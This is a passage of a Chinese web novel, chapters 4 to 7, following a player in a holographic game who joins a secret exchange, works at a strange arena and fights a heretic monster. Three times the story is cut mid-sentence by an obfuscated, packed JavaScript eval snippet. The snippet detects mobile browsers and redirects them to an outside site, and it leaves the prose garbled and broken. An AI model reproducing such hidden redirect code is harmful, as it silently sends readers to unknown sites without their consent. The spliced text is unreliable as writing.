【在查看个人面板的情况下，其他玩家只能看见这名玩家在原地呆呆站着的样子，无法看到操作面板的具体手势。】欧律狄刻说。 游戏在这方面倒是做得相当细致入微。方羲心想。 通过新手副本后，方羲的个人属性终于解锁了。 方羲饶有兴致地点开查看。 昵称：白乌鸦 等级：1[0/1000] 天赋职业：人偶师 目前状态：人偶师新手指南BUFF[点击查看] 已制作的人偶：远古四脚兽[未命名] 已制作的傀儡：暂无。 普通数值： 攻击【400】 生命【600】 敏捷【200】 防御【318】 体力【243】 耐力【277】 【评价：以新手玩家的评判标准来看，您的实力处于中上层的地位。游戏初期具备非常强大的优势，祝您游戏愉快。】 特殊数值： 异端抗性【2000】 灵感【0】 腐蚀度【1】 【评价：异端抗性与灵感通常不可兼得，但您的属性似乎达成了双高的特殊情况，请继续保持您的现有视觉，请勿轻易改变。】 这些数值看上去比预想中要高？方羲想。 方羲找到了小橘猫的信息面板，但里面只能看到延迟的画面——比起方羲随时随地去“看”小橘猫现在在做什么，所呈现的画面还要晚些许。 人偶无法用数值去评判吗？方羲若有所思。 除此之外，游戏面板也的确如系统所言，多了不少新功能，例如【地图】【技能】【锚点】【游戏论坛】【黑天鹅交易所】等。 最后一个是什么？ 方羲好奇点开。 首先弹出几道文字提示：【此为特殊功能，仅有符合条件的玩家方可注册交易账号。条件如下，满足其一即可通过。】 【内部玩家的邀请码、新晋排行榜三千名内、净化值超过50的材料、特殊属性存在可塑性。】 【检测到您的背包存在符合条件的物品，是否向黑天鹅交易所提出注册申请？】 除了几句古怪的提示，没有任何功能介绍，方羲略有困惑地点进【游戏论坛】搜索，发现这里根本没有关于黑天鹅交易所的讨论。 话说回来，一开始给她送全息设备的文件里，好像也有黑天鹅的名字？ 方羲又点开背包逐个查看物品，刚才从新手副本获得的材料，净化值全部都在90以上，她顺便把新手礼包给拆了。 【新手礼包已开启。】 【自制武器胚胎x1，金币x10000[可与现实星币一比一兑换]】 等等，她看到了什么？方羲瞳孔巨震。 “真的假的？”方羲试探性问她的专属系统，“游戏里的金币和星币竟然一比一兑换？” 或许在其他等级的公民眼中，一万星币不足挂齿。 但对方羲来说，简直就是天降横财！ 方羲努力压制住自己忍不住上滑的嘴角，以免显得自己傻乐的样子太过滑稽。 【当然。】欧律狄刻的声音中似乎透露着一丝淡淡的疑惑，但并没有多问，而是继续回答，【您可以绑定个人的星网账号，输入需要兑换的金额，对等的星币会实时到账。】 欧律狄刻为方羲弹出兑换的界面。 方羲谨慎地看了几眼，感觉这个界面看上去确实蛮正规的，页面最下方还有帝国中央的认证，于是她将自己的星网账号绑定上去。 至于金额……方羲心虚地想起这个月的房租还没凑够。 总之先换九千八百星币吧！剩下的两百先暂时留在游戏里。 【兑换成功。】欧律狄刻忽然提醒，【您的游戏时间已超过六个小时，并且您是初次进入全息领域。为了保护您的身体和精神状态，建议在半小后下线休息。】 “嗯嗯。”方羲敷衍地回应，她确实有点迫不及待想下线，看看星币是不是真的到账了。 不过在下线之前，方羲再次点开黑天鹅交易所，申请审核，从背包里挑出最不稀罕的【由鲜血灌溉而生的玫瑰】，这个材料的净化值目前为94。 但是一朵够吗？方羲想了想，干脆放了十九朵上去，给自己留下一朵纪念。 反正她还可以再回新手副本采集。 材料添加完毕后，系统又弹出新提示，询问是否要公开游戏主账号的信息，并要求方羲输入一个新名字，不可与游戏昵称同名。 【黑天鹅交易所的运行系统和我们并不互通。】欧律狄刻刻意强调，【它们与我们是截然相反的智脑体系。】 方羲敏感地从它的声音中听出几分冷酷。 明明本就是冰冷无机质的机械音。真奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739179|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方羲盯着游戏面板上立体现实的红玫瑰，发呆思考了几分钟，拒绝了账号信息的公开。 保留一点神秘感吧。虽然她的账号是个白板，似乎没什么隐藏的必要。 最后输入一个更符合她本性的新名字：【非专业收藏家】 等待审核似乎需要一点时间，方羲又急于下线看看她可爱的星币，就懒得再充分利用剩下的二十分钟。 在灵魂的世界里摸了摸小橘猫，得到奶声奶气的喵喵回应后，方羲便下线了。 ※ 【黑天鹅普通工作交流群】 【匿名用户01】：那个“非专业收藏家”是谁？不会是你们又出于恶趣味开了一个小号吧？@全体成员 【匿名用户02】：什么？ 【匿名用户01】：申请码13698522。对方没有开放账号信息的权限，专属系统的权限也特别高，暂时不清楚她的来历。 这个群只有寥寥十几个人，上一次交流甚至还是半年前，并且开启了随机匿名模式。即使每一个人都知道群里具体有谁，但出于个人立场的特殊性，都默契地遵守着面具的规则。 而匿名用户01的提醒，瞬间在群里掀起滔天巨浪。 【匿名用户02】：………………内心只剩下震惊，不想说话…………这合理吗？天才的世界真是难以理解。 【匿名用户03】：这是一个造梦家或傀儡师。以某人的性格，她才不会做这种无聊的事，其余的猎人就算是单打独斗，想必也做不到这种地步。 【匿名用户04】：新玩家？ 【匿名用户03】：可能性非常低。现在已经是新晋赛的末期，所以我更倾向是故意游离于势力之外的独行者，也有可能是密匙玩家新培养的接班人。但后者的概率更荒缪，毕竟他们肯定会先告知你们一声。 【匿名用户03】：无论如何，和她打好关系吧。多一个助力并不是坏事，听说最近的真实区域损失惨重，我们也没多少时间了。 玩家“一根羽毛”，也就是黑天鹅高层管理者之一的祝翎，若有所思地看着游戏面板。 上面立体显示着方羲前不久随手投放的红玫瑰。 “扪心自问，我也需要面临相当大的灵感风险，才能在这种难度下夺取成功。”祝翎喃喃自语道。 尽管不清楚这个大型异端的真实度，但能在高危难度下，让残肢的净化度达成这样之高，简直是不可思议的事情。 【根据玩家过往的战绩，所收获的异端残肢净化值平均在七十左右。】祝翎的专属系统贱兮兮地说道，【您的会长地位可能不太安全了。】 “……”祝翎抽了抽嘴角，没理会这个性格讨厌的系统。手指不紧不慢地叩击桌面，沉思了一会，决定给这名【非专业收藏家】给予通过，并在后台加入重点观察的标签。 审核通过之后，倒是可以看到对方的在线状态。 虽然对方现在是离线状态，但祝翎斟酌了一会，决定将自动发送给新成员的术语微调些许。 尽管她也心怀试探的念头，但很多时候，祝翎更喜欢温和如煮青蛙的手段。 【黑天鹅001】：你好。 【黑天鹅001】：黑天鹅交易所是由初代先行者所创建的特殊交易媒介，我们并不售卖寻常的技能和道具，也不提供过于基础的新手指导。但如果有任何副本合作和异端残肢的需求，请直接在交流论坛发布招募。或者直接在本对话界面提出，我会及时满足你的要求。 【黑天鹅001】：关于你交付的审核材料，可以选择回收，也可以进行售卖。当然，我们会付出对等的砝码。 【黑天鹅001】：能收到这段信息的你，想必已经走出常人顿感的边界——祝你游戏愉快。 5. 第 5 章 方羲睁开眼睛。 看着面前美丽的虚拟星云，方羲没有任何留恋，自动忽略了灵魂与身体割裂的不适感。当即蹦出全息设备，兴冲冲地去拿光脑。 【您的交易账号已入账：9800。 目前余额：10677。】 方羲认真地盯着光脑屏幕好几秒，过了半响才反应过来。 好耶！今晚出去吃顿大餐吧！接下来三个月的房租也不用发愁了。要不要再买点质量好一点的营养液回来囤着呢？ 不，还是省着点用吧……方羲的视线落回全息设备上，嘀咕道：“没想到只是过了个新手副本，就能拿这么多钱，就像天上掉馅饼一样。” 方羲决定，把玩游戏加入她每天必须完成的事项之一。 现在是下午三点，她是在早上收到全息设备和文件的快递。还有一点时间才到傍晚。 此时，方羲的光脑闪烁了几下。 【方羲，你上次不是说在找新工作吗？正好我听说附近开了一家地下斗兽场，正在招募新保安。我把地址和招募条件发给你了。】 发送者是她所熟悉的院长。 院长算是唯一对方羲好的人，帮过她很多次，尽管性格和行为举止都有些奇怪。方羲曾多次回去孤儿院看望院长，但对方态度总是相当冷漠且不耐烦，和其他人一样，并不愿意和她多说话。 但是院长也的确时不时联系她，给她生活和工作上的帮助。 方羲环视家里一圈。 比如现在，凌乱的出租屋又被收拾得一干二净。 【好的，谢谢院长。】方羲回复，顺便发了一个感谢的可爱表情包，然后才去仔细查看招聘要求。 【地址：十三号街道星辰地下城】 【联系方式：12xxxxx】 【招募保安一名。 要求：身体素质出众，心态强大。 工作内容：能够及时解决场内的突发情况，维持秩序，避免客人之间的斗殴损坏场所和道具。 待遇：4k/月，包吃包住。】 保安吗？这简单，她有经验。方羲果断添加对方的联系方式，简单说明了一下自己的工作经验，询问面试时间。 对方立刻回复，表示现在很缺人，她明天早上九点就可以直接来上班。 上班时间是早上九点到傍晚六点，中午休息一个小时。视情况加班。 但方羲从不加班。 倒不是她不愿意多赚点钱，只是每任老板视方羲如大敌，巴不得她早点下班滚蛋。 不过这次正和方羲所意，毕竟下班回来还有几个小时的时间玩游戏。 方羲开开心心地出门，吃了一顿新鲜制作的牛肉饭，肉痛地花了50个星币。又溜达去商场，买了二十瓶C级营养液，花了200个星币。 一瓶C级营养液可以提供生命体半天活动所需的能量。 买完东西回来，方羲习惯性往空旷无人的出租屋里喊了一声：“我回来啦。” 并没有任何人回应。方羲没太在意，直接走了进去。 “又忘了关门” 寄宿在墙壁的食人藤蔓，不轻不重地晃了晃，伸长枝条，拿起柜子上的钥匙，替方羲把门锁好。 隔日八点半。 放在枕边的光脑响了一阵，方羲面前支起眼皮，换衣服，洗漱，喝了一瓶之前还剩下的廉价营养液，然后拿起钥匙出门。 很快到达目的地。 斗兽场的老板是一名长相和装扮都很凶悍的青年，但当他转头瞥见方羲的身影时，瞳孔微微缩了一下，整张脸皮都在诡异地颤抖，像是要马上滑落下来。 “嗨？我是昨天约好要过来上班的方羲。”方羲积极主动地打招呼。 老板扶了扶自己的人脸，努力扯出一个微笑，勉强道：“呃、呃…好的。你主要是在场内巡逻，维持秩序，没事做的时候也可以拉拉客人。这是斗兽场的地形图还有工作手册，你自己熟悉一下，我有事先去忙了。” 他的语速越来越快，说到最后几个字，方羲甚至有点没听清，正想询问时，结果对面的人早已丢下一张纸，快速跑路。 方羲：“……行吧。” 方羲快速翻了翻工作手册，去更衣间换上工作服，走进内场，开始顺着巡逻路线开始工作。 这个点还没有人。而且除了她之外，似乎也没有别的工作人员。 这斗兽场的老板不会在坑人吧？方羲开始怀疑。 十点，斗兽场正式开放。 一群长相凶悍的男人走进大门，恰好撞上返回了巡逻起点的方羲，愣了愣，神色惊恐。 他们不死心地退出去，又看了看大门上的公告牌。 【这里是专属于我们的自由之地。】 【请卸下人皮，交换必要的情报。在特定区域，你可以与其他同类进行短暂的斗殴（记得不要损坏场所，老板为了建造这么一个躲避她的地方，可谓是煞费苦心）。】 “怎么办？”其中一名跟随者颤颤巍巍地问，“泥巴怪什么时候也被她驯服了，居然做了一个陷阱来骗我们！！是想将我们一网打尽吗？” “嗨？”方羲忽然开门，尽管她也很想摸鱼，但出于工作素养，她实在不想看到刚上门的客人莫名其妙跑掉（免得第一天就被炒鱿鱼）。 方羲打起精神试图争取，努力让自己的笑容显得温和可亲：“欢迎光临。” “……”这一群人陷入沉默，身体僵硬。 方羲顺着他们的视线看过去，发现只是一个普普通通的时间告知牌，提醒道：“别看里面没有人，现在已经十点了，我们斗兽场是第一天开业，价格有优惠哦。” “……好、好的。” 方羲这一天的班上得异常轻松。 无非就是走来走去，偶尔看看客人。何况斗兽场里异常安静，也并没有预料中的冲突争执发生。 而且饭菜也很美味。 六点准时打卡下班，方羲回到家，洗完澡休息了一会，下意识坐到桌边，熟练地拿起雕刻刀。 总感觉有什么事情忘记……方羲转头瞥见静静待在原地的全息设备，恍然大悟！ ※ 【欢迎玩家“白乌鸦”回到《失乐园》】 【温馨提示：您的账号有多条未读消息。】 “喵！！！”小橘猫声音凄厉，转来转来，眼睛似乎覆了一层水光。 “好好好。”方羲赶紧在灵魂世界安慰满脸委屈巴巴的小橘猫，揉了揉它主动露出的肚皮，好不容易才把小橘猫的情绪稳定下来。 可能是掉线太久了……方羲心底闪过一丝心虚。 方羲回到游戏的时候，她的身体还是呆在上次下线的地方。 打开游戏面板，方羲发现欧律狄刻所提醒的未读消息，来自黑天鹅交易所的系统自动回复。 方羲自动略过这一段文字，直接打开黑天鹅的内部界面。事实上，里面的功能设计得相当简洁，只是一个相当普通的论坛，分别有【官方区】【交易区】【交流区】和【招募区】。 其中的交易区有普通和高级之分。 至于官方区，似乎是由黑天鹅管理者专门发布规则贴的地方。方羲点进去看了看，除了一些过于谜语她看不太懂的论坛规则贴，还有一部分帖子是专门记录每月锚点的出现和磨损值。 “锚点是什么？”方羲问欧律狄刻。 智脑似乎短路了两分钟，才缓慢地解释道：【在游戏中建立的锚点，根据净化等级的不同，能够随机到现实世界某一区域。锚点之下，再无异端。】 “哦。”方羲懂了，说白了就是一个保护罩。 点进普通交易区，方羲原本散漫的面庞渐渐正经起来，懒散的坐姿慢慢变得相当端正。 【一块黑曜石。 持有者：垂死病中惊坐起 简介：可二次改造，可锻造武器，可随身携带。拥有幸运BUFF、10%的概率抵挡致死攻击等功能。 净化值：39 零售价：1000 剩余量：7】 【一块倒转时间的怀表。 持有者：垂死病中惊坐起 简介：可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739180|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二次改造，可随身携带。在副本内进行身体位置回溯，三次使用机会。使用者的异端抗性需超过1900，存在反向侵蚀的可能性。 净化值：59 零售价：20000 剩余量：1】 …… “一块倒转时间的怀表，”显而易见只是一块过于陈旧的普通怀表，平平无奇，毫无特殊之处。 “？？？”方羲觉得自己的世界观在颠覆，喃喃自语道，“这破玩意也能卖？” 方羲又看了看这些售卖贴下的评论。 【怀表看上去不错，但是异端抗性的要求太高了，净化值又没有高到可以放在高级区的程度。楼主你就实话实说，这玩意滞销多久了？（幸灾乐祸）】 垂死病中惊坐起（楼主）回复：【我也没想到啊！我和队友花了足足一个月！好不容易通关了一个高危副本，谁知道除了几块还勉强能给武器升级的残肢，就剩下这一块鸡助的破表。大哭特哭JPG.】 网友又回复了几句：【哎，所以进入高危副本一定要慎之又慎。一定要带一个灵感高的队友，不然就算暴力通关了，也什么都看不到。】 方羲又向下划了好一会，剩下的售卖贴的质量都参差不齐。在普通交易区也有小分区，另一部分则是定制单，数量也差不多，只是存在细节上的要求，发送出来等待其他玩家接取。 所以当方羲点进【高级交易区】的时候，看着占满整个屏幕的定制单，一时间以为游戏系统出错了。 她试图搜索一下售卖贴，查询结果居然是零。 事实上，高级交易区聚集一大批顶尖玩家，早就供不应求。即使部分玩家手上有多余可用的残肢，也直接丢给熟人，内部消化掉了。 所以高级交易区基本算是个摆设。 方羲点进最上方唯一顶置的定制单。 【发布者：银月 定制要求： 傀儡，特性不限，属性不限。 唯一要求是灵感需6000及以上，低于此界限请不必接取，否则会出现一次性高磨损的情况，危及傀儡师本身的灵魂状态。 若缺乏符合制作条件的残肢，可直接向我提出，我会一一收集完好，然后交付给你。 报酬：无期限的组队协助，或提出在我能力范围之内的要求。 发布时间：星历2513年4月9日】 两年前发布的帖子，到现在也没有接取吗？方羲有些疑惑。 这个定制单下面的留言非常多，堆了四万多条，直到今天还有新留言。 1L：【前排膜拜银月大佬。】 银月回复：【你好。不算大佬。】 11L：【弱弱地说句题外话，大佬可以帮我看看这个武器有什么方面可以改进吗？】 银月回复：【我点开查看了一下你的个人天赋，残肢的特殊属性不太匹配你的战斗特性，导致用起来存在脱节的情况。我这里正好有几个更适合的残肢，请开放一下私聊权限，我直接赠送给你。】 36L：【我记得一年前，银月对外公示的异端抗性至少6000+，现在恐怕更高了，她简直可以称作人类的极限。哎，但是同时代没有相匹配的傀儡师出现。实话实说，六千的异端抗性尚且可以想象，但六千的灵感……我还是认为不存在这种可能性。】 银月回复：【我会一直等待这个可能的出现。】 …… 帖子中有不少围观的，提问的，外加科普银月战力的。但询问定制问题的玩家几乎没有。 但即使如此，不管多么无厘头的留言，银月居然一条一条地认真回复了，只是偶尔会隔很长一段时间才出现一次。 真是相当谦逊温柔的人。方羲感慨。 然后她退出了帖子，开始研究该怎么售卖她那十九朵【由鲜血灌溉而生的玫瑰】。 就这样会不会太单调了？方羲参考了好一会市场价，如果单论净化值，这些玫瑰确实可以卖出不少钱，但这样似乎有些黑心…… 方羲再次进入个人空间，决定给玫瑰包装一下。 6. 第 6 章 并不是净化值越高的残肢，对使用者越无害。像方羲这种从人偶师副本随手采集的，实际存在隐性的风险。 它仅对“方羲”驯服，一个异端抗性高达两千的人类。如果骤然换了一个主人，想必会故态重萌，尖刺和枝条扎入陌生者的血肉，抽取生长的血液。 方羲坐在木椅子上，灵机一动，向游戏系统购买了一个价值50金币的花瓶，挑了一朵颜色最艳丽危险的玫瑰插进去。拿出【上帝的雕刻刀】，对着自己的指腹轻轻划了一道小口子。 血液顺着手指流淌而下，滴落在花瓶底部。 玫瑰如有生命般，轻轻晃动了一下，花瓶底部的血液瞬间被它吸进枝蔓内。 【残肢改造成功！】 【“由鲜血灌溉而生的玫瑰”，已经彻底染上您的灵魂色彩，在保留它本身高攻击力的情况下，其反噬的獠牙已经被拔除。从此以后，它是一朵指向异端的好好玫瑰。】 【恭喜你！在没有任何指引的情况下，无师自通地解锁一项新技能。系统赠送一级礼包x1，该物品已自动放入背包。】 方羲取出玫瑰，对着乌黑混沌的个人空间轻轻一甩，鱼贯而出的枝蔓瞬间撕破隔膜。 原先伸手不见五指，只有方羲自身和桌椅泛着淡淡微芒的个人空间，褪去黑幕一般，露出背后原始美丽的森林。 “果然如此。”方羲吐槽道，“这不就是新手副本吗？为什么非要藏在这里。” 一开始她还奇怪，游戏面板上并没有进入副本的选项，那她该怎么回到新手副本继续探索呢？ 答案还怪简单的。 方羲环视一圈无垠的森林，说：“欧律狄刻，帮我买一把斧头吧。” 她决定给自己建造一间森林小木屋！ 【抱歉，您的金币余额不足。目前余额为：150。】欧律狄刻提醒，【一把最普通的斧头需要300个金币。】 “……差点忘了。”方羲沉思两秒。 此时，待在灵魂世界的小橘猫有点按耐不住，一直喵喵叫，于是方羲把它放了出来，随意道：“去玩吧。” 小橘猫先是在方羲脚边蹭了蹭，转了几圈，然后试探性跑向前面的灌木丛，身形灵敏地扑蝴蝶。偶尔会没有安全感地跑回来一趟，看一眼方羲，仿佛在确定主人的安危似的，然后又跑出去玩。 方羲再次点开黑天鹅交易所，准备把经过改造的红玫瑰上架售卖。如果没意外的话，这个残肢应该不算难卖。 售卖贴发布之前，玩家需要等待三分钟左右，黑天鹅系统会自动审核售卖物品的综合等级，并给出一个相对合理的价格参考。 【由鲜血灌溉而生的玫瑰 持有者：非专业收藏家 简介：已经过持有者的二次改造[具体数值点击查看]，可以融合其他武器同时使用。适用于任何等级和职业的玩家。但缺点在于，除了攻击力较高之外，并没有任何特殊功能。毕竟这只是一朵普通的玫瑰，要求不要太高了。 净化值：99 起售价：100000 剩余量：1】 方羲看了看那足足六位数的定价，发呆，沉思，迷茫。 这价格真的合理吗？ 系统已经审核通过，需要方羲本人再次确认，才会正式发布到交易区。 由于这个残肢并没有特殊功能，被系统划入了普通交易区，但是定价却相当高，并且是以拍卖的形式出售。 方羲点击确认，将这个帖子投放到交易区，懒得专门设置起拍时间，而是直接开始，截止时间在三天内。 设置完之后，方羲直接退出。 欧律狄刻忽然说：【建议玩家先通过一个初级单人副本，初步熟悉一下正式的副本流程。通常来说，玩家通关的第一个正式副本，奖励会丰厚许多。】 “好吧。” 方羲退出个人空间，重新回到游戏区域，位置被随机到一个新手小镇，镇外是一片无垠的草原，可能因为位置有些偏远，这里的人流量并不大。 “啊！是新客人呢！”一群小孩似乎注意到忽然出现的方羲，窃窃私语道。 其中一个比较大胆的小女孩，主动凑上去，从口袋里掏出了什么，递给方羲，大声道：“这是爱丽丝小镇送给每一个过客的礼物！” NPC？ 方羲温和地笑了笑，收下了小孩子送的见面礼，问道：“有什么事情需要我帮忙吗？” “您玩得开心就好！”小女孩声音甜甜地说，然后便转身找小伙伴们继续去玩了。 【收到NPC赠送的“甜滋滋的糖果”一枚，已自动存入背包。】 方羲沉默地看着这群小孩的离开，他们消瘦的面庞上，隐约残留着几条怪异扭曲的黑色裂痕。 有时候，异端也会侵蚀智脑的数据。所以再万能的游戏智脑，也会出错。 初级副本散落在游戏各地，对灵感高的玩家来说很容易辩识。方羲左顾右盼，试图找到一个符合她心意的副本入口。 像没有把手的门、巷子里的垃圾桶、小摊售卖的魔镜……各种奇奇怪怪的地方，都是初级副本的入口。 方羲心不在焉地拿起小摊上一个精美的魔镜打量，在NPC期待的注视下“这个魔镜只要15金币哦”，残忍地放下，转身离开。 她隐约感觉到，这些看似数量颇多的初级副本，实际上并没有任何挑战性，副本深处也没有任何异端的痕迹，只是虚拟数据堆积而成的假象。 但NPC身上的确残留着异端侵蚀的痕迹，尽管这一点污染度对庞大的中央主脑来说，只是微不足道的一截。 但方羲向来乐于挑战未知，实在没兴趣在没有意义的事情上停留。 于是方羲绕着这个小镇转了一圈，也没有找到关键的副本，心底郁闷，又觉得走烦了，干脆坐在路椅上发呆，眼神飘忽地打量四周。 新手街道上倒有不少商铺，方羲瞥见一家室外酒馆，有一个人的等级和装扮，在一众玩家之中过于突出，言谈举止也有一种老玩家的感觉。 方羲好奇地多看了几眼。 对方头上顶着【踏樱】的游戏ID，一头明亮的金色长发，长长地垂下，身形娇小，身着打扮宛如精致的洋娃娃，手持一把华丽的洋伞，伞尖随意地搭在地面。 踏樱正在和其他几个新手玩家交流。 “太谢谢你了……”其中一名玩家欲哭无泪道，“我差点我们要死在里面了，本来以为紧急求救不会有其他玩家回应。” “我正好在附近活动。”踏樱露出一个灿烂明媚的笑容，安慰道，“放心吧！只要你向专属系统求救，消息一定会传达到最近的新晋玩家。” 踏樱悄悄瞥了一眼游戏地图，发现其实这片大区域刚好有不少老熟人。 可恶，他们肯定都收到新手玩家的求救信息了，肯定是知道她在附近，就懒得过来了！踏樱愤愤然地想着。 忽然，踏樱敏锐地察觉到有人在看自己，抬眼看过去，恰好撞上方羲略显好奇的眼神。 踩过死亡界限的人，气质多少有些不一样。方羲漫不经心地想，收回观察的目光。 “……” 事实上，从方羲开始在爱丽丝小镇上四处游荡时，踏樱便注意到这个举止有些古怪的新玩家，分出几分神看了一下她公开的账号信息。 【等级：1 副本通关数：1】 “咦？” 她很长一段时间没有见过这么……这么新的玩家了。踏樱有些纳闷，但这种情况只是有些少见。爱丽丝小镇也是一个难度非常低的副本生成地之一，应该不会有什么危险。 所以踏樱也没太放在心上，正想收回视线，继续和她刚刚救下的新手玩家说话。 呃，等等，她在做什么？ 踏樱迷茫地看着方羲靠近小镇残缺的雕像，敲了敲，副本入口随着玩家的动作，凝聚成一个空气漩涡。 这是副本开启的象征。 但她居然只是站在原地上看了一会，然后转身离开了。 在没有正式踏进副本领域之前，玩家的确还可以选择不进入副本。 直到踏樱看见方羲以同样的方式，又找了第二个副本入口。第二次她盯着黑洞入口的时间稍微久了一点，神情专注，乌黑的眸子凝望着黑洞。 方羲还是没有选择进入副本。 “……”踏樱的神情渐渐变得凝重起来，瞳孔微微缩小，脸上露出几分惊异。 她在看什么？ 她这是在穿透游戏的表层，直视异端吗？ 在初级区域，副本只是经过游戏主脑的仿真模拟，里面甚至没有最弱小的异端胚胎，更不存在掉落的残肢。初级副本大多是增强玩家战斗能力和心理承受力的练习。 如果连虚假的表象也无法忍受，那就不必继续向下探索了。 踏樱忽然感到一阵转瞬即逝的心悸，眼睁睁地看着方羲在酒馆附近每一个副本入口停下脚步，又转身离开。然后在她视野内消失了一段时间，可能是寻找未果，最终坐在一边盯着地面发呆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739181|157459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “虽然只要初始灵感超过600，就能看破初级副本的本质。”踏樱虽然在心底吐槽，但眼睛莫名其妙含着一丝由衷的敬佩，“哇，这也太大胆了吧！” 作为一个经验丰富的老玩家，踏樱以前不是没有见过这样的行为。但她想了想，和其他玩家告别，决定上前和她说说话，准备劝告新人不要一下子步子迈太大，并表示自己可以带她走几个设计经典的初级副本。 否则灵感与实力上的脱节，会造成不可设想的后果。 毕竟，游戏中的精神性死亡，次数多了，总会导向真实的死亡。 踏樱已经是一名实力出众的新晋玩家，但她走过的弯路却比任何实力同阶层的玩家要多得多，所以遇见经验微薄的新人，总是忍不住想去帮个忙。 尽管这种行为，被其他新晋玩家诟病为“过于圣母了吧，你都自身难保了。” 方羲在盯着地面发呆。 她听见爱丽丝小镇每一个副本入口在不断收缩，一呼一吸，如同沙滩上搁浅的大鱼。 血液在流动。 流入心脏之处。 一缕污浊的黑雾藏于其中，伸出长长的触手，扎入每一条大鱼的身体。 方羲猛地站起来，神色冷漠，凝聚出长枪，对着大地当空斩下。 风声凛冽。 静谧的、如童话般平静的小镇，显露出灾难过后的惨象，两种毫不相干的画面竟在彻底达成重叠。 方羲的左眼犹如覆上了一层怪异的光芒，深邃得不像人类。 踏樱微微瞪大眼睛，被四周剧烈的变化震得停下脚步。在她的视野之内，浮现出高空一闪而过的副本文字。 【您已捕捉到异端的根系之处，成功触怒了这只凶悍的异端。】 【由于您的攻击力不足，根系并未死亡。“爱丽丝小镇”306个副本入口，即将凝结为大型异端副本。】 无数暗黑色的触手，从漩涡长长伸出。 什、什么情况？踏樱满脸震惊。 但在踏樱大脑读取高空文字的那一瞬，身体便轻轻一跳，跃至半空，直面异端的一角，张开洋伞，对着最粗壮的触手随意一划。 花瓣纷飞。 属于造梦家独有的领域也在这一刻张开，层层覆盖至整个爱丽丝小镇。 “发生了什么？！” 新手玩家们神色惊恐地看着这群盘旋在半空之中的巨大触手。 不少玩家因为灵感承受过低，被系统强制下线。只剩下相当少的一部分，双手颤抖地召唤出武器，身体却恐惧到无法移动。 踏樱又极快地覆了一层领域BUFF，让其他新手玩家的视野发生改变，从概念意义上与异端隔绝。 看不见的同时，也会极大地削弱异端本身造成的攻击力。 但异端只是轻轻地瞥了一眼这些瘦弱的小鱼，挥动所有触手，竟只朝方羲一人而来！ 【您的生命值+0】 【你的生命值-300】 【您的生命值+600】 【您的生命条已被异端污染。】 方羲的生命值再次被扣除了一半，这是一个死亡的前兆。但她神情坦然，取出【万物生长的种子】，随手一丢。 掉落在大地裂缝的种子轻轻动了动。 踏樱眼尖地认出了这个残肢，它被新晋玩家公认为烂大街的残肢之一，使用方法非常简单，只要随手往异端身上丢就行了。但它的名字只是听上去宏大，实际效果却很弱。 情况紧急，踏樱实在来不及深想太多，脚踩花瓣，直接将洋伞丢向成群缠绕的触手。 “轰——”半空之中的触手被炸毁了一小半。 洋伞毫发无损地回归到踏樱手里，她有些懊恼地抿抿唇。 攻击一向不是她的长处。换成其他天赋类型的造梦家，想必早就解决了吧。 踏樱抬手准备下一步技能释放，同时分神看向立于大地之上的方羲，发现她已经收起攻击的姿态，微微垂头。 【您的生命条已被造梦家“踏樱”施加祝福，BUFF倒计时：03：59：59。】 “普通攻击没有用的。”踏樱高声道，“请直接退出游戏吧！即使找到异端的根系，我们也无法深入其中。” 人类的身体永远无法与异端对抗。 飘在半空中的踏樱忽然一顿，淡色的眼睛倒映出世界的巨变。 她想，如果刚刚自己没看错的话，那的确只是一个毫无作用的残肢。 但是万物开始生长。 7. 第 7 章 方羲抬起左手，抵至额头，遮盖忽然过于刺眼的阳光。 长而粗壮的藤蔓，散发着她常年熟悉的自然清香，直直地向高空生长。 和生生不息的藤蔓相比，异端的触手就像是面对巨人的老鼠，被轻轻一撞，便湮灭于空气之中，几声似人的尖利叫声遥遥传出。 黑雾成为人类视野中最微末的一部分。 然后，藤蔓顺着使用者的心意，穿过每一个副本漩涡，扎根。如同密密麻麻的网状，将上百个副本入口连接在一起。 异端的根系失去了营养，开始腐烂，发臭，不甘心地枯萎。 方羲伸出手，像是朝着虚空，抓住了什么似的。 她抓住了一缕灵感。 【大型异端副本生成失败。】 【由于您使用了“万物生长的种子”，藤蔓蔓延至小镇之外，并且难以枯萎，这里彻底被改造成一个丛林小镇，影响长达百年。两小时后，游戏地图将会更改该小区域相应的地理属性信息。】 【您开启了一个未解锁的锚点。】 【锚点参照坐标：帝国中央区域A02星爱丽丝城】 …… 【您的种子替你强行通关了数个初级副本，获得大量奖励与经验[点此查看详情]，已自动存入背包。】 【游戏等级提升！】 方羲慢慢从心流状态中脱离，整个人瞬间变得懒懒的，她抬头看向站在巨大藤蔓上的踏樱，对面神情迷茫，不知道在想什么。 